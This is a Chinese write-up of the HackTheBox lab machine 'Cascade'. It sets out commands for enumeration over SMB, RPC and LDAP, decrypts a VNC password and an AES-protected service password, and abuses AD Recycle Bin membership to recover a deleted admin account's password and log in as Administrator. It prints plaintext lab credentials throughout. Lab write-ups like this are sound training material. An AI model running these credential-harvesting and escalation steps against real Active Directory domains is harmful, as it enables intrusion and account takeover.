靶机ip:10.10.10.182

知识点

  • TightVNC密码破解
  • AD Recycle Bin滥用权限提升

信息收集

nmap扫描

nmap -sS -sV -sC -p- 10.10.10.182

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-22 11:27 CST
Nmap scan report for 10.10.10.182
Host is up (0.45s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-22 03:28:03Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp filtered kpasswd5
593/tcp filtered http-rpc-epmap
636/tcp open tcpwrapped
1337/tcp filtered waste
1433/tcp filtered ms-sql-s
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp filtered msdfsr
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp filtered http-proxy
9389/tcp filtered adws
47001/tcp filtered winrm
49152/tcp filtered unknown
49153/tcp filtered unknown
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49167/tcp filtered unknown
49172/tcp filtered unknown
49173/tcp filtered unknown
50255/tcp filtered unknown
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-07-22T03:28:58
|_ start_date: 2024-07-22T03:07:52

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.17 seconds

从上述结果中可以发现,主机为windows_server_2008,域名是cascade.local,开启的服务有DNS服务、Kerberos服务、rpc服务、ldap服务、SMB服务、在1433端口上运行着SQL Server、在8080端口也有服务,但是大多数服务都被防火墙过滤了

SMB

直接测试smb能不能匿名登录

smbclient -N -L //10.10.10.182

image-20240722140947016

能成功登录但是获得不了什么重要的信息

rpc

rpc看看能不能获取一些信息

rpcclient -U "" -N 10.10.10.182

image-20240722141252468

发现能获得一些用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

ldap

ldapsearch测试一下

ldapsearch -x -b "dc=cascade,dc=local" -H ldap://10.10.10.182

image-20240722150112607

找到Ryan ThompsonCascade上的用户名是r.thompson,这个名字之前rpc枚举出来过,同时发现在``Ryan Thompson用户的最后一个数据项中有cascadeLegacyPwd数据,将其值clk0bjVldmE=进行解码

image-20240722145814808

得到解密后的数据rY4n5eva,疑似r.thompson的密码

提交后发现这真是Ryan Thompson的密码

测试能不能连接

crackmapexec smb 10.10.10.182 -u r.thompson -p rY4n5eva

image-20240722150650469

r.thompson-SMB

发现可以进行smb连接,用smbmap连接一下

smbmap -H 10.10.10.182 -u r.thompson -p rY4n5eva

image-20240722153155560

通过 smbmap 可以看到,我们只对 Data 目录具有可读权限,尝试连接

smbclient \\\\10.10.10.182\\Data -U r.thompson

image-20240722153817069

测试后发现只对IT目录有访问权限,将文件下载到本地进行观察

1
2
3
4
smb: \> mask ""
smb: \> recurse ON #默认情况下递归选项是OFF,在 smb 提示符下输入 recurse ON命令会将此选项切换为ON
smb: \> prompt OFF #默认情况下询问是否下载选项是ON,在 smb 提示符下输入prompt OFF命令会将此选项切换为OFF
smb: \> mget * #此时可以在不询问的情况下递归下载data目录下的所有文件

image-20240722162438200

共享文件夹Data分析

破解TightVNC密码

在查找文件时,发现在IT/Temp/s.smith目录的Install.reg文件中找到了一个vnc密码

image-20240722164021239

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

正常的hex解密是解不出来的,去网上找一下vnc解密的工具

vncpwd

image-20240722184058650

解密完成,发现明文密码sT333ve2,猜测是s.smith用户的

临时账户TempAdmin

/Data/IT/Email Archives/目录下找到个文件Meeting_Notes_June_2018.html

image-20240722185428846

从邮件中,可以获取到的有效信息是,环境迁移时会使用临时账户TempAdmin,并且密码与常规admin密码相同,当环境迁移结束后会删除临时账户。

/Data/IT/Logs/Ark AD Recycle Bin目录下发现ArkAdRecycleBin.log日志文件

image-20240723104034284

从日志中我们发现TempAdmin帐户已移至回收站

横向移动

登录s.smith用户

先利用crackmapexec测试能否通过evil-winrm登录s.smith用户

crackmapexec winrm 10.10.10.182 -u s.smith -p sT333ve2

image-20240722190031059

测试发现的确可以使用密码:sT333ve2通过winRMs.smith账号进行远程登录

evil-winrm -u s.smith -p 'sT333ve2' -i 10.10.10.182

image-20240722191053738

成功登录

image-20240722191133301

s.smithDesktop目录找到user.txt

同时发现一个可疑的软链接文件WinDirStat.lnk

查看一下该用户所在组信息

image-20240722192913858

发现该用户并不在权限组中,但是发现该用户属于Audit Share组,接下来就可以访问Audit目录下的文件进行查看

s.smith-SMB

访问Audit目录

smbclient \\\\10.10.10.182\\Audit$ -U s.smith

image-20240722194200709

登陆成功,还是老办法,将文件下载到本地查看

1
2
3
4
smb: \> mask ""
smb: \> recurse ON #默认情况下递归选项是OFF,在 smb 提示符下输入 recurse ON命令会将此选项切换为ON
smb: \> prompt OFF #默认情况下询问是否下载选项是ON,在 smb 提示符下输入prompt OFF命令会将此选项切换为OFF
smb: \> mget * #此时可以在不询问的情况下递归下载data目录下的所有文件

image-20240722194912751

下载完成

image-20240722195139213

Audit.db

首先就是在DB目录下找到数据库,试试能不能获取一些有用的信息

sqlite3 Audit.db

image-20240722200724571

只能从Ldap表中找到Arksvc用户名,密码破解不了

CascAudit.exe文件分析

继续看Audit目录下的文件,先看那个.bat文件

cat RunAudit.bat

image-20240722200947578

发现CascAudit.exedb 文件作为参数运行,查看一下CascAudit.exe

image-20240722201149317

发现这是一个.NET的文件,利用工具调试一下

dnSpy

把所属文件夹dump下来丢进dnspy动调一下,把断点打在断开数据库连接的地方想劫持一下password

image-20240722211925250

但是这块儿可能是我的dnspy有问题,一直卡在一个报错上了

image-20240722211943214

索性直接逆,按照它的逻辑去找password加密的地方,双击跟进这个加密

image-20240722211955684

image-20240722211959240

明显的AES加密,给了秘钥和iv直接找个在线网站解了(注意先用base64解码)

image-20240722212036170

这样我们就拿到了Arksvc的密码w3lc0meFr31nd

拿到用户名密码,测试一下能不能winrm登录

crackmapexec winrm 10.10.10.182 -u Arksvc -p w3lc0meFr31nd

image-20240722212515703

可以登录,拿evil-winrm登录

evil-winrm -i 10.10.10.182 -u Arksvc -p w3lc0meFr31nd

image-20240722212620250

登陆成功

AD Recycle Bin滥用权限提升

先看Arksvc用户有没有什么可以利用的权限

image-20240723100620239

发现该用户属于 AD Recycle Bin 组下

该组是用于恢复被删除的用户,组以及OU等对象的,这些对象在 AD Recycle Bin 中时保持其所有属性不变,这使得它们可以在任何时候被恢复。

参考链接

前面已经知道两个重要信息,一个是管理员用户和TempAdmin密码一致,另一个是TempAdmin被移到了回收站

这里可以使用Get-ADObject枚举AD回收站中的对象,并过滤具有isDeleted属性的已删除对象即可

1
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

image-20240723105115495

发现最后一条数据是我们之前提到的TempAdmin,获取该帐户的所有详细信息

Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

image-20240723105310378

注意到密码值很可能是base64编码,解码一下

image-20240723105356090

获取TempAdmin的明文密码:baCT3r1aN00dles

因为之前提到过TempAdmin的密码跟正常管理员密码一样,所以我们直接测试能否使用这个密码远程登陆Administrator

crackmapexec winrm 10.10.10.182 -u Administrator -p baCT3r1aN00dles

image-20240723105748085

发现可以登录,我们直接登录Administrator

evil-winrm -i 10.10.10.182 -u Administrator -p baCT3r1aN00dles

image-20240723105922917

登陆成功!

image-20240723110503914

最后在Desktop目录找到root.txt